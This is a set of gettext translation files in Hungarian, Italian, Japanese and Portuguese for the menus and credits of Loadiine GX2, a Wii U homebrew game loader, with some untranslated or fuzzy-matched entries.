msgstr "Néhány srác, aki nem akarja, hogy meg legyen nevezve."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tesztelés:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight és még sokan mások"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Társadalmi Jelenlét:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Ennek alapján készült:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 Golden45-től és Dimok-tól"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Hatalmas köszönet:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar-nak a GameTDB miatt és a borítókért / lemezek képeiért"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1-nek a kernel exploitért"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Az egész libwiiu csapatnak és a közreműködőknek."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Megosztott mód"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Indító Mód"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "Tesztelés:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Ki"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "Be"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Kör-körös ikonok"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Rácsnézet"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Kör-körös borító"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Háttér testreszabása"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Grafikus felület"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Játéknézet választó"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Log szerver és IP port beállítása"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Játék útvonalának testreszabása"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Játék mentés útvonalának testreszabása"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Betöltő"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Mentés mód beállítása"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Játék"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Indítási mód kiválaszatása"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log szerver vezérlése"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Köszönet"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Köszönet az összes hozzájárulónak"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Játék nézet TV-n"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Játék nézet a GamePaden"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Játék elérési helye"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Játék mentési helye"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Játék mentési módja"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log szerver vezérlése"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Art Atelier Mód"
#~ msgid "Shared Mode"
#~ msgstr "Megosztott mód"
#~ msgid "Unique Mode"
#~ msgstr "Egyedi Mód"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii készítő mód"
#~ msgid "Smash Bros Mode"
#~ msgstr "Smash Bros Mód"
#~ msgid "Karaoke Mode"
#~ msgstr "Karaoke Mód"
#~ msgid "Log Server IP"
#~ msgstr "Log szerver IP"
================================================
FILE: languages/italian.lang
================================================
# Loadiine GX2 language source file.
# italian.lang - vx.x
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: Student\n"
"Language-Team: Student\n"
"Language: Italiano\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Sito Ufficiale"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programmazione"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Qualcuno che non vuole essere nominato"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr ""
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr ""
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Presenza Sociale"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basato su"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 creato da Golden45 e Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Un enorme grazie a"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar per GameTDB e per l'hosting sia delle copertine che delle scansioni dei dischi"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 per il suo kernel exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Tutto il team libwiiu ed i suoi contributors."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Modalità Condivisa"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Modalità di Avvio"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
msgid ""
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr ""
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carosello di Icone"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Griglia"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carosello di Copertina"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Personalizza Sfondo"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Interfaccia Grafica (GUI)"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Modalità di Visualizzazione Giochi"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Regola IP del server log e porta"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Personalizza Percorso Cartella Giochi"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Personalizza Percorso Salvataggi"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Imposta Modalità Salvataggio"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Gioco"
#: src/menu/SettingsMenu.cpp:54
msgid "HID settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Seleziona Modalità di Avvio"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log Controllo Server"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Crediti"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Ringraziamenti a tutti i contributors"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Vista TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Vista DRC (gamepad)"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Percorso Gioco"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Percorso Slavataggio"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Modalità Salvataggio"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log Controllo Server"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr ""
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Modalità Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Modalità Condivisa"
#~ msgid "Unique Mode"
#~ msgstr "Modalità Unica"
#~ msgid "Mii Maker Mode"
#~ msgstr "Modalità Mii Maker"
#~ msgid "Smash Bros Mode"
#~ msgstr "Modalità Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Modalità Karaoke"
#~ msgid "Log Server IP"
#~ msgstr "Log IP Server"
================================================
FILE: languages/japanese.lang
================================================
# Loadiine GX2 language source file.
# japanese.lang - v0.1
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: Glitch\n"
"Language-Team: Glitch\n"
"Language: Japanese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "公式サイト"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "コード:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "設計:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "名前言われたくないやつ."
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "テストした人:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight などなど"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "社会的存在感:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "源:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Golden45とDimokのLoadiine v4.0"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "本当にありがとう:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "カバーとディスク画像ホスティング&GameTDBのlustarさん"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "カーネルエクスプロイト作ったのMarionumber1さん"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "libwiiuチームのみんなと協力者がやりましたのみんな."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "別セーブ:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "DLC使用可能:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新フォルダ"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "セーブモード"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "起動モード"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "<デフォルト設定>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "ゲームの設定を保存する!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "オフ"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "オン"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "アイコンカルーセル"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "グリッドビュー"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "カバーカルーセル"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "背景のカスタマイズ"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "ゲーム表示の設定"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "ログサーバーのIPとポートを設定"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "ゲームパス変更"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "セーブパス変更"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "ローダー"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "セーブモードの設定"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "ゲーム"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID設定"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "起動方法を選んで"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "ログサーバー管理"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "Padconの設定"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "PyGeckoの設定"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "関与した人々"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "協力者を称賛する"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "テレビに映る"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "DRCに映る"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "ゲームの設定を表示する"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "ホストIP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "ゲームパス"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "セーブパス"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "セーブモード"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "ログサーバー管理"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "PyGeckoの設定"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "絵心教室アトリエモード"
#~ msgid "Shared Mode"
#~ msgstr "共有モード"
#~ msgid "Unique Mode"
#~ msgstr "特有モード"
#~ msgid "Mii Maker Mode"
#~ msgstr "Miiスタジオモード"
#~ msgid "Smash Bros Mode"
#~ msgstr "スマブラモード"
#~ msgid "Karaoke Mode"
#~ msgstr "カラオケモード"
================================================
FILE: languages/pt_BR.lang
================================================
# Loadiine GX2 language source file.
# pt_BR.lang - v0.2
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: AndréFranco\n"
"Language-Team: AndréFranco\n"
"Language: Português(Brasil)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Site Oficial:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programação:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Design:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Um cara que não quis ser identificado"
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Testadores:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight e muitos mais"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Representante nas redes:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Baseado em:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine V4.0 por Golden45 e Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Agradecimentos a:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "Lustar da GameTDB por hostear capas / imagens de disco"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 por seu kernel exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "A todo o time da libwiiu e seus contribuidores."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Modo Compartilhado"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Modo de carregamento"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "Testadores:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Desligado"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "Ligado"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carrossel de ícones"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Exibição em grade "
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carrossel de capas"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Personalizar fundo"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Aparência da Lista de jogos"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Configurar IP:Porta do servidor de log"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Personalizar pasta dos jogos"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Personalizar pasta dos saves"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Carregador"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Estabelecer modo de save"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Jogo"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Selecionar modo de carregamento"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Iniciar servidor de Log"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Créditos"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Créditos aos colaboradores"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Visualização do jogo - TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Visualização do jogo - DRC"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Caminho do jogo"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Caminho do save"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Modo de save"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Controle do servidor de log"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Testadores:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Modo Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Modo Compartilhado"
#~ msgid "Unique Mode"
#~ msgstr "Modo Único"
#~ msgid "Mii Maker Mode"
#~ msgstr "Modo Criador Mii"
#~ msgid "Smash Bros Mode"
#~ msgstr "Modo Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Modo Karaokê"
#~ msgid "Log Server IP"
#~ msgstr "IP do servidor de log"
================================================
FILE: languages/pt_PT.lang
================================================
# Loadiine GX2 language source file.
# pt_PT.lang - v0.1
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: PTKickass\n"
"Language-Team: PTKickass\n"
"Language: Portuguese(Portugal)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Site oficial:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programação:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Design:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Um gajo qualquer que não quer ser mencionado."
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "Testadores:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight e muitos mais"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Representante social:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Baseado em:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 por Golden45 e Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Um grande obrigado a:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar da GameTDB por hospedar imagens de capas / discos"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 pelo seu kernel exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Toda a equipa libwiiu e aos seus contribuidores."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "Jogo guardado extra:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "Ativar suporte a DLC:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "Pasta update"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "Modo de guardamento"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Modo de carregamento"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "A guardar opções do jogo!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Desligado"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "Ligado"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carrocel de Ícones"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Vista em Grade"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carrocel de Capas"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Customizações de fundo"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Interface"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Tipo de vista de jogos"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Ajustar a porta e IP do servidor de log"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Mudar localização de jogos"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Mudar localização de jogos guardados"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Carregador"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Definir modo de guardamento"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Jogo"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Definições de HID"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Modo de carregamento"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Controlo do servidor de log"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "Definições do Padcon"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "Definições do PyGecko"
